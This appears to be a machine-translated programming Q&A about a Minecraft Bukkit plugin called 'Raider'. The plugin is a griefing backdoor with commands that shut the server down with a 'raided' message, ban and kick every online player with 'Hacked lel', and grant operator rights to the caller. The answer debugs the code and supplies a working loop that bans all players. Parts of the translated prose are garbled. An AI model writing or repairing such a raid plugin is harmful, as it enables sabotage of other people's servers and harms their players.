如何修复控制台中 "Unknown command" 的错误?

How can I fix the error of "Unknown command" in console?

package com.LeGhost.main;

import java.util.Random;

import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;

public class Raider extends JavaPlugin{
    private JavaPlugin plugin = Raider.this;

    public void onEnable() {
        plugin.getLogger().info("Raider fully enabled!");
    }//ENABLE

public void onDisable() {
    plugin.getLogger().info("Raider disabled!");
}//DISABLE

public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
    if(sender instanceof Player || sender instanceof ConsoleCommandSender) {
        if(cmd.getName().equalsIgnoreCase("raid")) {
            plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop YOUR SERVER JUST GOT RAIDED!!!!!!!");//stops the server... DOES WORK
        }
        if(cmd.getName().equalsIgnoreCase("banall")) {
            @SuppressWarnings("deprecation")
            int playerNumber = plugin.getServer().getOnlinePlayers().length;
            @SuppressWarnings("deprecation")
            int random = new Random().nextInt(Bukkit.getOnlinePlayers().length);
            @SuppressWarnings("deprecation")
            Player player = Bukkit.getOnlinePlayers()[random];
            while(playerNumber > 0) {
                plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "ban " + player);
            }//THIS DOES NOT WORK! It is supposed to ban all the players that are currently on the server by choosing a random player while the player count is over 0
        }
        if(cmd.getName().equalsIgnoreCase("moop")) {
            plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName());
        }//DOES NOT WORK!! It should op the sender.
    }
    return false;
}

}

如果有人能帮我解决这个问题,我将不胜感激! 另一件事是平庸的事情会使服务器崩溃。 我想知道任何修复并知道为什么这不起作用

banall 的控制台输出

[22:09:46] [Server thread/WARN]: Unexpected exception while parsing console    command "banall"
org.bukkit.command.CommandException: Unhandled exception executing command 'banall' in plugin Raider v1.0
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:46) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:141) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchCommand(CraftServer.java:642) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
at org.bukkit.craftbukkit.v1_8_R3.CraftServer.dispatchServerCommand(CraftServer.java:628) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.DedicatedServer.aO(DedicatedServer.java:404) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.DedicatedServer.B(DedicatedServer.java:368) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.MinecraftServer.A(MinecraftServer.java:657) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at net.minecraft.server.v1_8_R3.MinecraftServer.run(MinecraftServer.java:560) [spigot.jar:git-Spigot-f928e7a-994b2aa]
at java.lang.Thread.run(Unknown Source) [?:1.8.0_45]
Caused by: java.lang.IllegalArgumentException: bound must be positive
at java.util.Random.nextInt(Unknown Source) ~[?:1.8.0_45]
at com.LeGhost.main.Raider.onCommand(Raider.java:32) ~[?:?]
at org.bukkit.command.PluginCommand.execute(PluginCommand.java:44) ~[spigot.jar:git-Spigot-f928e7a-994b2aa]
... 8 more

moop 的控制台输出

[22:12:59 INFO]: Unknown command. Type "/help" for help.

更新代码

package com.LeGhost.main;

import org.bukkit.BanList;
import org.bukkit.Bukkit;
import org.bukkit.Server;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.ConsoleCommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;

public class Raider extends JavaPlugin{
private JavaPlugin plugin = Raider.this;

public void onEnable() {
    plugin.getLogger().info("Raider fully enabled!");
}

public void onDisable() {
    plugin.getLogger().info("Raider disabled!");
}

@SuppressWarnings("deprecation")
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
    if(sender instanceof Player || sender instanceof ConsoleCommandSender) {
        if(cmd.getName().equalsIgnoreCase("raid")) {
            plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "stop " + "Hacked lel");
        }
        if(cmd.getName().equalsIgnoreCase("banall")) {
            plugin.getServer().getOnlinePlayers();
            Bukkit.getOnlinePlayers();
            for (Player player1 : Bukkit.getOnlinePlayers()) {
                getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player1.getName() + " Hacked lel");
                ((Server) plugin).getBanList(BanList.Type.NAME).addBan(player1.getName(), "Hacked lel", null, sender.getName());
                player1.kickPlayer("Hacked lel");
            }
        }
        if(cmd.getName().equalsIgnoreCase("moop")) {
            plugin.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), "op " + sender.getName());
        }
    }
    return false;
}

}

您似乎正试图像使用数组一样使用 getOnlinePlayers() 返回的玩家集合。您需要使用 size() 方法来获取集合中包含的元素数量,而不是 length。要通过索引获取特定玩家,您可以使用 (Player) Bukkit.getOnlinePlayers().toArray()[index],其中 index 可以是您随机生成的索引。

在行 "ban " + player 中,您将 String "ban" 与对象 player 连接起来。由于 player 不是 String,因此将自动调用 toString() 方法将其变为一个。 PlayertoString() 方法将导致输出类似于 CraftPlayer{name="Foo"},因此将尝试禁止使用该确切输出的玩家。相反,使用玩家的 getName() 方法获取玩家的 真实 名称(在本例中为 "Foo")。

除非出于某种原因你真的想使用你选择随机玩家的方法,否则你可以使用 for 循环来禁止服务器上的每个玩家。然而,即使使用随机化方法,您仍然需要某种循环。 player 引用永远不会更新以反映在服务器上选择不同的播放器。您的代码选择 一个 随机玩家,然后只要服务器不为空就一遍又一遍地禁止同一玩家(如果有超过 2 个玩家,您的服务器可能会崩溃)播放它)。相反,您可以尝试在禁令后的每次迭代中更新玩家变量,方法是再次获取玩家数量,选择随机索引并设置玩家变量的新值。尽管只使用一个 for each 循环来遍历每个玩家并以这种方式禁止他们可能会更好。

以下是使用 for each 循环禁止所有玩家的示例:

for (Player player : Bukkit.getOnlinePlayers()) {
    getServer().dispatchCommand(Bukkit.getConsoleSender(), "ban " + player.getName());
    //Alternatively use the method below to ban players
    //Bukkit.getBanList(BanList.Type.NAME).addBan(player.getName(), "insert_reason_here", null, sender.getName());
    //player.kickPlayer("Banned by admin");
}

您也可以将 @SuppressWarnings 注释放在整个 onCommand 方法之外,这样您就不必多次编写它。

我作为玩家测试了你的 "moop" 命令,它似乎工作得很好。